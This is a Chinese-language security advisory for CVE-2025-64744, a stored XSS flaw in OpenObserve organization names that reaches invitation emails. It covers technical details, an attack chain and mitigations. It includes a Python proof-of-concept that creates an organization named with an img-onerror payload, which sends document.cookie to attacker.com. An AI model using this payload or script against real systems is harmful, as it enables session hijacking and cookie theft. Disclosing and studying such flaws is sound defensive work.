IPBUF安全漏洞报告
English
CVE-2025-64744 CVSS 3.5 低危

CVE-2025-64744 OpenObserve组织名称跨站脚本(XSS)漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-64744
漏洞类型
XSS(跨站脚本)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OpenObserve

相关标签

CVE-2025-64744XSS存储型XSSOpenObserve邮件注入HTML注入跨站脚本云原生可观测性平台

漏洞概述

CVE-2025-64744是OpenObserve云原生可观测性平台中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响0.16.1及之前所有版本。漏洞源于用户在创建或重命名组织时,组织名称字段未对HTML特殊字符进行充分过滤和转义。当包含恶意HTML或JavaScript代码的组织名称被保存后,系统在生成邀请邮件时会直接将此内容渲染到邮件模板中,而未进行HTML转义处理。这使得攻击者可以在邮件中注入任意HTML标签或脚本代码。当其他用户收到并查看该邀请邮件时,恶意脚本将在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取或其他客户端攻击。由于该漏洞位于邮件通知功能中,攻击面相对有限,但仍可能对组织安全造成威胁。截至漏洞披露时,官方尚未发布修复版本,用户需采取临时防护措施。

技术细节

OpenObserve平台在处理组织创建和重命名请求时,直接将用户输入的组织名称存储到数据库中,并在后续生成邀请邮件时从数据库读取该值并插入到邮件HTML模板中。问题出在邮件生成环节,系统未使用HTML转义函数(如htmlspecialchars()或equivalent)处理组织名称,导致原始HTML标记被浏览器解析执行。具体技术细节如下:

1. 漏洞入口点:组织创建/重命名API端点(POST /api/organizations 或 PUT /api/organizations/{id})
2. 数据流:用户输入 → 服务端接收 → 存储至数据库 → 邮件生成时读取 → 直接插入HTML模板
3. 触发条件:攻击者创建一个包含HTML/JS代码的组织名称(如:<img src=x onerror=alert(document.cookie)>)
4. 触发场景:当其他用户收到该组织邀请邮件并使用Web邮件客户端或支持HTML渲染的邮件客户端打开邮件时
5. 影响范围:所有查看邀请邮件的用户都会受到恶意脚本影响

利用此漏洞需要攻击者具有平台注册账号且有创建组织的权限,属于中低权限要求。攻击成功后可窃取用户会话Cookie、进行钓鱼攻击或重定向用户至恶意站点。

攻击链分析

STEP 1
步骤1
攻击者注册OpenObserve平台账号并登录系统
STEP 2
步骤2
攻击者构造包含恶意HTML/JS代码的组织名称(如<img src=x onerror=alert(1)>)
STEP 3
步骤3
攻击者通过API创建新组织或重命名现有组织,将恶意代码作为组织名称提交
STEP 4
步骤4
服务端接收组织名称后直接存储到数据库,未进行HTML转义处理
STEP 5
步骤5
管理员或用户向该组织添加成员时,系统生成邀请邮件
STEP 6
步骤6
邮件生成过程中,系统从数据库读取组织名称并直接插入HTML邮件模板
STEP 7
步骤7
邮件接收者使用支持HTML渲染的邮件客户端打开邀请邮件
STEP 8
步骤8
邮件客户端解析HTML内容,恶意脚本在接收者浏览器中执行,导致Cookie窃取或会话劫持

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64744 PoC - OpenObserve Organization Name XSS # This PoC demonstrates the Stored XSS vulnerability in OpenObserve organization names import requests import json import sys # Configuration TARGET_URL = "http://target-openobserve-server:5080" # Replace with actual target USERNAME = "[email protected]" PASSWORD = "attacker_password" # Malicious payload - XSS in organization name XSS_PAYLOAD = '''<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">''' def login(): """Authenticate and get session token""" login_url = f"{TARGET_URL}/api/auth/login" data = { "email": USERNAME, "password": PASSWORD } try: response = requests.post(login_url, json=data, timeout=10) if response.status_code == 200: token = response.json().get("data", {}).get("token") return token else: print(f"[-] Login failed: {response.status_code}") return None except Exception as e: print(f"[-] Login error: {e}") return None def create_malicious_org(token): """Create organization with XSS payload in name""" create_org_url = f"{TARGET_URL}/api/organizations" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } payload = { "name": XSS_PAYLOAD, "description": "Malicious organization" } try: response = requests.post(create_org_url, json=payload, headers=headers, timeout=10) if response.status_code in [200, 201]: print("[+] Malicious organization created successfully!") print(f"[+] Payload: {XSS_PAYLOAD}") return True else: print(f"[-] Organization creation failed: {response.status_code}") print(f"[-] Response: {response.text}") return False except Exception as e: print(f"[-] Error: {e}") return False def main(): print("=" * 60) print("CVE-2025-64744 PoC - OpenObserve XSS via Organization Name") print("=" * 60) # Step 1: Login print("\n[Step 1] Authenticating...") token = login() if not token: sys.exit(1) print("[+] Authentication successful") # Step 2: Create malicious organization print("\n[Step 2] Creating organization with XSS payload...") if create_malicious_org(token): print("[+] XSS payload injected into organization name") print("[+] When admin sends invitation email, XSS will trigger") else: print("[-] Failed to inject payload") sys.exit(1) if __name__ == "__main__": main()

影响范围

OpenObserve <= 0.16.1

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)限制普通用户创建组织的权限,仅允许管理员操作;2)启用邮件客户端的纯文本模式阅读邮件;3)在邮件网关层面实施HTML过滤和脚本清除;4)监控组织名称字段的异常输入;5)考虑禁用组织邀请邮件的HTML渲染功能,改为纯文本格式;6)对邮件相关功能实施额外的安全审计和监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表